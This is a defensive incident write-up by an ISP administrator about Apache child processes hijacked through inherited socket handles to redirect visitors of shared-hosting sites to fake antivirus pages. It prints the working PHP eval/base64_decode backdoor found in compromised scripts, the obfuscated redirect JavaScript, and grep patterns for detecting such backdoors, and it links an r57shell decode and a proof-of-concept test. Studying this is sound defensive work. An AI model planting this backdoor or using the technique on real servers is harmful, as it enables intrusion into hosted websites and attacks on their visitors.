Trouble in Hosting Land:
  ...or how I learned to start worrying and fear perl/php scripts

# Version 1.0 - Initial Release: October 4th, 2009
# Version 1.01 - Improved the regex matching to deal with obfuscation
# Version 1.02 - More information about the Apache / APR bug (see bottom)  November 5th, 2009
# Version 1.03 - Added Proof of Concept / testing script  November 13th, 2009
# Version 1.04 - Clarifying the mod_perl requirement for apr_test_poc.cgi 
#              - and fixed a bug in the test cgi resulting in false positives  Nov. 16th, 2009
# Version 1.05 - Added PHP-based script for testing (see bottom)   Nov 16th, 2009  
# Version 1.06 - Bug conclusively identified and Security Focus bid located.  Nov 17th, 2009
# Version 1.07 - New APR packages, infection vector, decoding, cleanup scripts.  Dec 16th, 2009
# Version 1.08 - r57shell identified.  credit given where credit due.  Dec 17th, 2009

I work in the security department for an unnamed mid-sized Internet Service Provider on the west
coast.  I'm writing about a very difficult to catch problem in the hopes that this document 
makes it easier for other administrators to correct similar problems on their systems.

Starting on Wednesday, September 23, 2009, we were contacted by multiple customers claiming that
their website was infected.  All of the customers were being served from the same web server.
While browsing their website they would occasionally be redirected to onlinetotalscanner.com 
which served bogus warnings about system infection, and tried to push rogue anti-virus software.

onlinetotalscanner.com/scan1/?pid=180s1&engine=pXT12jz3mzExNS42NC4xNTEmgdGltZT0xMjUuNIAMPAJO

"Warning!!! Your system requires immediate anti viruses scan!  Total Security can perform fast and
free virus and malicious software scan of your computer ."  (OK/Cancel)

Screenshot: http://smaert.com/apache_mischief/onlinetotalscanner.png

UPDATE: new instances of this attack seem to be providing links to keygenguru.com

The problem was very difficult to replicate and we could not reproduce the behavior.  Initially
this was dismissed as a client-side infection, but more customers on the same server came
forward and complained about this infection.  The evidence was mounting that the problem was on
the server and not on client machines, so we began a fruitless search for 'onlinetotalscanner.com'
contained within the html content of the customer websites.  No matches were found.  Mysql 
databases were also dumped and grepped, but failed to turn up the malicious domain.  We even
ran sniffers watching for redirects to onlinetotalscanner, but could never catch anything going
over the wire.  The infection was puzzling because sites that had not been modified for years
suddenly started exhibiting the infected behavior.

One of the clients was able to capture some javascript that was related to the redirect:

<script type="text/javascript" language="javascript"> var htaaz=new
Date( ); htaaz.setTime(htaaz.getTime( )+12*60*60*1000);
document.cookie="\x6e\x5fs\x65\x73s_\x69d\x3d\x319\x340\x314\x39\x34\x33
\x368e7\x34\x3279b\x61\x30\x615\x66\x35\x65\x39\x63\x388\x62\x34
\x32"+"\x3b\x20path=/;\x20expire\x73="+htaaz.toGMTString( ); </script>

When you decode all the silly escaping, you are left with:
n_sess_id=19401494368e74279ba0a5f5e9c88b42; path=/; expires=(timestamp)

Nobody here could determine out how a cookie could compromise a web server or cause a redirect.
Even after successfully resolving this problem, I still don't know what this cookie was for. 
I couldn't find anything that used a variable/cookie called n_sess_id  ... This remains a
mystery to me and the clue was not helpful in locating the problem.

Then a different customer contacted us with a clue that did turn out to be quite helpful.  They
were suffering from the malicious redirect as well, but they claimed that the redirect happened
when they clicked on a static link to a pdf file.  They got the redirect when trying to fetch
a plain PDF file from the web server.  No php involved, no perl, no cgi.  Just a plain-old PDF file.
We examined the PDF file, and concluded it was harmless.  This meant there had to be some sort of
web server infection.  

We spent some time combing through the server for root-kits or modified binaries, but ended up
empty-handed.  The server integrity/security still looked good; there was no evidence of root-kits
or tampering with binaries.  (Keep in mind, this is an old, out of date Ensim shared hosting server
running under CentOS 4.6.)

How was it was possible, then, for many sites on the same server to be exhibiting the bad behavior
then, especially the sites that had not been modified in years.  We verified the config files of
the web server and concluded that the configs had not been tampered with either.

The evidence was accumulating to suggest that there was a rogue apache child. ... And that's
exactly what the problem was.  The hackers were taking over an apache child and using that
child to serve their malicious redirect requests.  Since it was only one infected child from a
large pool of apache children, that explains why the redirect would only happen sometimes.  It is
luck-of-the-draw as to which child serves your request, and if you get the unlucky child, then 
you get the malicious redirect.  This perfectly explained why the redirect only happened sometimes
and why it was so hard to reproduce the bad behavior.

I could not explain how an apache child could be taken over like that.  I consulted with another
admin here at my company and he drew my attention to the answer:  Inherited file handles.  When
apache forks all of its children, each child inherits all of the file handles of the parent that
spawned the child.  Not only does that give them access to all of the log file handles, but it
also gives them the file handle for the LISTENING SOCKET.  With mod_php and mod_perl (and
possibly others?) when apache hands execution to a php script, perl script, or any cgi, that
script inherits all of the apache child's file handles.

All it takes is some malicious script and access to the file handle of the listening socket.
When the malicious script is run, it camps the listening socket file handle by calling accept(). 
Then it waits for someone to connect to the socket and make a request.  When the request comes
through it ignores whatever request they made and serves an HTTP redirect response, whisking
them off to a different (malicious) website.  The redirect is not made directly to the target
website, instead, it is a chain of intermediate redirect servers, which is how it evaded
sniffing for the final destination URL.

This means that any php remote file include exploit or compromised user-level FTP account now
turns into a full blown web server infection that can affect all websites on the server.  This 
is a  particularly serious problem in shared hosting environments where hundreds of websites
are served from a single instance of apache.

So now we knew WHAT was happening, but not WHERE the malicious code was coming from.  Since the
malicious redirect would only be functional as long as the malicious script was running, it was
assumed that whatever was running the redirect was probably forked.  Forking would allow the
malicious script to run for a longer duration than the CGI time-limit imposed by the web server.
Time limits for script execution are usually anywhere from thirty seconds to a few minutes.

As suspected, the malicious script was forking.  The act of forking makes the malicious
child easily detectable.  Start by taking a list of all processes that are running as apache.
Check the parent pid for each process.  If any child has a parent PID of 1, then the child
has detached itself via a fork and is probably malicious.

With continuous monitoring (once per minute) we were able to detect a hijacked child.

 EXE violation:
 pid 9003: /tmp/eplhttpd (deleted) is not allowed to be runing
 ./eplhttpd -d /usr/lib/ensim/frontend/httpd -f conf/eplhttpd.conf
 Sun Sep 27 04:05:12 PDT 2009

 PARENT PID VIOLATION:
   1: /sbin/init is not a valid parent process
 init [3]
 Sun Sep 27 04:05:12 PDT 2009
 procs with ppid 1:
 pid 9003: /tmp/eplhttpd (deleted) has naughty ppid: 1 

# cat /proc/9003/cmdline
./eplhttpd -d /usr/lib/ensim/frontend/httpd -f conf/eplhttpd.conf

# strings /proc/9003/environ
TERM=xterm
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
_=/tmp/../tmp/../tmp/../tmp/../tmp/../tmp/../tmp/../tmp/../tmp/eplhttpd
PWD=/tmp
LANG=en_US.UTF-8
SHLVL=2

The malicious script wrote a program to /tmp, and then executed.

The /tmp program then forks off and inherit's apache's file handles with it.

After executing the program written to /tmp it deletes itself but still runs from memory.

The child then blends in as a regular apache child by spoofing it's appearance in the process list
to blend in as a regular apache process.  It perfectly mirrored an actual command line of an 
existing process that was running as apache.  Ironically, it picked the command line for a *different*
instance of apache, but none-the-less, it looks like a regular apache child. (except out of place
when you use the --forest flag for ps)  I suspect it mirrors the command line of the first process
that is running as apache.

By continuously monitoring for forked apache programs every minute we were able to narrow down the
activation time to a 60 second window.  By searching apache log files for POST activity around that
time, we were able to spot some suspicious posts and identify which scripts were initiating the
malicious child.

nice -n 19 egrep '\[28/Sep/2009:18:4[5678]:.. -..00\] "POST /'  /home/virtual/site*/fst/var/log/httpd/access_log | egrep -v '/webmail/'
/home/virtual/site62/fst/var/log/httpd/access_log:
 200.92.152.126 - - [28/Sep/2009:18:47:14 -0700] "POST /david/infosheet.php HTTP/1.1" 200 32 "http://www.google.com" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"
 188.25.187.134 - - [28/Sep/2009:18:47:15 -0700] "POST /david/infosheet.php HTTP/1.1" 200 33110 "http://www.google.com" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"

The Google referrer looked spoofed.
Exact same User-agent string, completely different IP address - one second apart in the logs.
One IP from Mexico.  One from Romania.

The script was labeled as: "CoffeeCup Software Form to Mail program"

At the very top of the script there was a one-line backdoor disguised as a comment with a ton of
white-space in front of it to try to hide from people that use an editor/viewer that don't word-wrap.

The full contents of the script is here:  http://smaert.com/apache_mischief/infosheet.php.txt
  (you'll need to scroll to the right to see the back-door)

The payload is this line:

/*48a53df5189ed726b01785965de7a994*/if(isset($_POST["p"])&&$_POST["p"]=="dbcf842538df03b0d3a6f94a11480b1b"){eval(base64_decode($_POST["c"]));exit;}/*48a53df5189ed726b01785965de7a994*/

If you post to the script with the right variables ('p' and 'c'), it will run user-supplied code.

It checks the post variable 'p' (password?) for what looks like a hash or a session id.
If that matches, it base64 decodes and executes the 'c' (command?) variable that is supplied in the post.

This creates a semi-covert command channel for attackers to run arbitrary php script by simply posting
whatever php code they want to run.

As for where the malicious script came from, the modification time of the file is around the time 
as some suspicious FTP logins:
  lusername    ftpd27614    203.117.111.47   Sun May  3 10:36 - 10:36  (00:00)
  lusername    ftpd16038    203.117.111.47   Sun May  3 10:25 - 10:27  (00:01)
  lusername    ftpd9827     203.117.111.47   Sun May  3 10:15 - 10:17  (00:01)

I don't how the FTP credentials were stolen, but it looks like this all boils down
to a stolen username/password for a hosting account.

Several hours later, our monitoring script detected another rogue child.

A search of the logs this time revealed a 2nd malicious script on the same site.

All from different IP's, all with the exact same user-agent string and bogus Google referral.

/home/virtual/site62/fst/var/log/httpd/access_log:
 81.182.198.142 - - [29/Sep/2009:08:20:03 -0700] "POST /david/infosheet.php HTTP/1.1" 200 245 "http://www.google.com" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"
 89.132.13.246 - - [29/Sep/2009:08:20:04 -0700] "POST /Patty/Patty/img_0994.php HTTP/1.1" 200 32 "http://www.google.com" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"
 79.113.17.173 - - [29/Sep/2009:08:20:05 -0700] "POST /Patty/Patty/img_0994.php HTTP/1.1" 200 37080 "http://www.google.com" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toolbar)"

img_0994.php was labeled as: 
 Copyright (c) 2005-2006 Instant Zero - http://xoops.instant-zero.com/

It also contained the one-line back-door at the top, pushed off to the right:
/*cf1e72d66d38c4d468f7477a091ff0f0*/if(isset($_POST["p"])&&$_POST["p"]=="dbcf842538df03b0d3a6f94a11480b1b"){eval(base64_decode($_POST["c"]));exit;}/*cf1e72d66d38c4d468f7477a091ff0f0*/

The entire source of that file is viewable here:
 http://smaert.com/apache_mischief/img_0994.php.txt

The infected files were removed and FTP credentials for the user were changed.
The bad behavior seems to be gone now.  No more request-jacking.


Detection Schemes
I was able find two ways to detect this.

1) If the backdoor is being actively exploited, you can catch the malicious process
in the act by continuous monitoring.

  With some fairly simple perl we can monitor for apache processes that have forked
  and even send email notifications when bad behavior is detected.

  Sample perl code for detecting forked apache child processes can be found here:
   http://smaert.com/apache_mischief/monitor_apache_ownage.pl

2) Based on what this back-door look like, we can also use find and grep to search
for files that are back-doored in a similar manner but not yet being actively abused.

Any use is of eval is suspect, and doubly-so when it's right next to a base64-decode.

The general syntax is:
find /path -name '*.php' -exec egrep -l "eval *\( *base64_decode" {} \;

If you're running on a live web server and don't want to drive the load through the
roof, you can add some nice's in.

To search the default apache webroot:
nice -n 19 find /var/www/html -name '*.php' -exec nice -n 19 egrep -l "eval *\( *base64_decode" {} \;

On Ensim systems you can search all user's webroots:
nice -n 19 find /home/virtual/site*/fst/var/www/html -name '*.php' -exec nice -n 19 egrep -l "eval *\( *base64_decode" {} \;

On Plesk systems use this command:
nice -n 19 find /var/www/vhosts/*/httpdocs /var/www/vhosts/*/httpsdocs  /var/www/vhosts/*/web_users -name '*.php' -exec nice -n 19 egrep -l "eval *\( *base64_decode" {} \;


- Some new variations have been obfuscating their eval'd base64_decodes
 .. So we loosen our match:
instead of: "eval *\( *base64_decode"
use: "e[^a-z]*v[^a-z]*a[^a-z]*l[^a-z]*b[^a-z]*a[^a-z]*s[^a-z]*e[^a-z]*6[^a-z]*4[^a-z]*_[^a-z]*d[^a-z]*e[^a-z]*c[^a-z]*o[^a-z]*d[^a-z]*e"

Ensim Example: 
nice -n 19 find /home/virtual/site*/fst/var/www/html -name '*.php' -exec nice -n 19 egrep -l "e[^a-z]*v[^a-z]*a[^a-z]*l[^a-z]*b[^a-z]*a[^a-z]*s[^a-z]*e[^a-z]*6[^a-z]*4[^a-z]*_[^a-z]*d[^a-z]*e[^a-z]*c[^a-z]*o[^a-z]*d[^a-z]*e" {} \;

Plesk Example: 
nice -n 19 find /var/www/vhosts/*/httpdocs /var/www/vhosts/*/httpsdocs  /var/www/vhosts/*/web_users -name '*.php' -exec nice -n 19 egrep -l "e[^a-z]*v[^a-z]*a[^a-z]*l[^a-z]*b[^a-z]*a[^a-z]*s[^a-z]*e[^a-z]*6[^a-z]*4[^a-z]*_[^a-z]*d[^a-z]*e[^a-z]*c[^a-z]*o[^a-z]*d[^a-z]*e" {} \;

Caveat: the find and grep method may get false positives on wordpress footers
for themes.  I've seen some footer scripts that use the eval and base64_decode
combo that make reverse-engineering more difficult.  I don't *think* that these
are malicious, but they don't look entirely innocent either. They don't appear
to exec anything that isn't already contained in the script. (i.e. no POST
variables involved)

UPDATE: Apparently there are also false positives in certain PHP-based payment
processing systems, too.

Using those find commands on all of our other webservers, I was able to find
and remove several other back-doored scripts.
  example: http://smaert.com/apache_mischief/526058.php.txt
   (This one has a large built-in payload)

UPDATE: This large payload contains lots of interesting malicious code.
There is tons of code to go through for this, but it looks like a script
full of utilities used by hackers.  It appears to be of Russian origin.
I've decoded the output here:
  http://smaert.com/apache_mischief/526058.php.decode1.txt
The decoded output contains another encoded chunk that was too big for my editor.
I have decoded that monsterous chunk here:
  http://smaert.com/apache_mischief/526058.php.decode2.txt
And even after decoding that, there are STILL more encoded parts.
  http://smaert.com/apache_mischief/526058.php.decode3.txt
UPDATE (to the update):  This script has been identified as "r57shell", a
php script containing a suite of tools for exfiltrating files, testing
webservers for vulnerabilities, spawning remote shells, and all kinds of
other unsavory activity.  More information about r57shell ...
here: http://rst.ghc.ru/
here: http://rstghc.livejournal.com/   (russian)
here: http://seclists.org/fulldisclosure/2006/Sep/83
       (Heh.  A backdoor to the backdoor.)
      "Trust no one(especialy commies), write your own tools."



More Information (on the actual bug being exploited)
(aka:  The Blame Game)

Trying to figure out exactly who is responsible for this problem is difficult.

Is this Apache's fault?
Is this APR's fault?
Is this the fault of the mod_* interpreter?

From my [original] understanding, this is an old bug relating to APR (Apache Portable Runtime)
See:  https://issues.apache.org/bugzilla/show_bug.cgi?id=17206
See:  http://marc.info/?t=104688218100008&r=1&w=2
See:  http://marc.info/?t=104696493400002&r=1&w=2

UPDATE: More links about the issue:
http://www.wewatchyourwebsite.com/wordpress/?p=202
http://blog.unmaskparasites.com/2009/07/23/goscanpark-13-facts-about-malicious-server-wide-meta-redirects/
http://www.uptime.cz/100452-site-a-internet_Linux-Apache-Attack.html
http://blog.unmaskparasites.com/2009/06/18/beladen-elusive-web-server-exploit/
http://books.google.co.uk/books?id=5yiULnTkN6oC&lpg=PA134&ots=815P2vqUwX&dq=apache%20file%20descriptor%20vulnerability&pg=PA134#v=onepage&q=apache%20file%20descriptor%20vulnerability&f=false


UPDATE: After honing my search terms, I'm getting closer to having answers for who 
to blame.  I've located bug reports on the exact issue in conversations between
apache and php developers arguing over who's problem this actually is.

See:  http://www.securityfocus.com/bid/9302
See:  http://www.securityfocus.com/archive/1/archive/1/449298/100/0/threaded
See:  http://bugs.php.net/bug.php?id=38915
See:  https://issues.apache.org/bugzilla/show_bug.cgi?id=46425


The last post (on July 3rd, 2009) on the php.net site is claiming that this is 
finally fixed in apache.  They provide a diff to apache's exec.c, but the author
admits it's an ugly fix...  And my CentOS 4 and 5 boxes are still vulnerable...

The last post on apache's site (October 11th, 2009) says: 
"This was released with apr 1.3.6"

(The latest CentOS 5 apr is apr-1.2.7-11 from April 27th 2009)

Some testing has shown that mod_perl is vulnerable, but apache servers that
spawn a new perl interpreter for each cgi script are not vulnerable.



Testing - in PHP

You can test to see if your webserver is vulnerable with this PHP code:

http://smaert.com/apache_mischief/apr_test.php.txt

PHP must be allowed to exec(perl) for the forking test to work.
Rumor has it that almost all servers will fail the forking test.



Proof of Concept / Testing - in PERL

Update: this perl script is lame.  For now, use the PHP test.
I've developed an example cgi script for testing if your webserver is vulnerable.
Tested with mod_perl

Test / Exploit:   http://smaert.com/apache_mischief/apr_test_poc.cgi.txt
(NOTE:  This test requires mod_perl for accurate results.  Running the test
when mod_perl is not being used will incorretcly test as 'not vulnerable')

FOLLOW UP NOTE:  The value of this test is debatable... Testing without
forking may not reveal the full extent of the problem.  Completely re-thinking
the philosophy behind this bug... Watch for more updates here soon.


UPDATE:  Infection vector

Word on the street is that this infection comes from a client.  Another
admin that was also chasing this problem said: 

"Also in my research, it appears that the FTP exploit comes from the 
customer's computer getting infected with malware and using the customer's 
FTP client to infect the server." 


UPDATE:  New APR packages.

I believe that APR 1.3.6 fixes the file descriptor inheritance issue.

nathan [at] link9.net contacted me and let me know:

"A new version of apr is available in the utterranblings repository  I have 
just tested this on CentOS 5 and it would appear it is not exploitable [via the
php test] - there doesn't seem to be an Apache upgrade dependency either, which
is nice. [...] We are rolling the new APR version out to all our production
servers shortly.  From the testing I've done I don't see any problems."

Utter Ramblings Repo:   http://www.jasonlitka.com/yum-repository/
They offer updated apr packages for RHEL4 / CentOS 4, and RHEL5 / CentOS 5.
This repo is unknown to me and not necessarily trusted.  Use at your own Risk.


Also, Fedora Core 11 and later comes with an APR package recent enough to not
be vulnerable, although this is untested / unconfirmed at this point.


UPDATE:  Cleanup Script from Michal Bryxi

Michal Bryxi contacted me and submitted a shell script for finding and removing
infected PHP scripts.  

"The version on github succesfully pointed on two domains which had approx. 
1000 infected php files each. And it gets succesfully cleaned with this script.
I have used (manually created) git repo and 'git diff' command to find out if
the cleanup part ended  well.  It also points out to another approx 30 domains
which was marked as infected.   20 of them was marked as harmless WordPress
footers and other 10 was malicious code.  The only TODO (I know about) left 
is: After cleanup the script leaves blank line on the place where was the 
malicious code. And it erases blank line (if  any) on the end of file. It
would be also nice to make some auto-backup part. And show log with 'git diff'
to see if everything went well."

Michal Bryxi's shell script has been published his project on github:
http://github.com/picca/Apache-fork-hack-finder-cleaner

Again, I haven't personally tested his script, but it looks sane.
Use at your own risk.


Good luck...

-a fellow admin
apache_mischief@smaert.com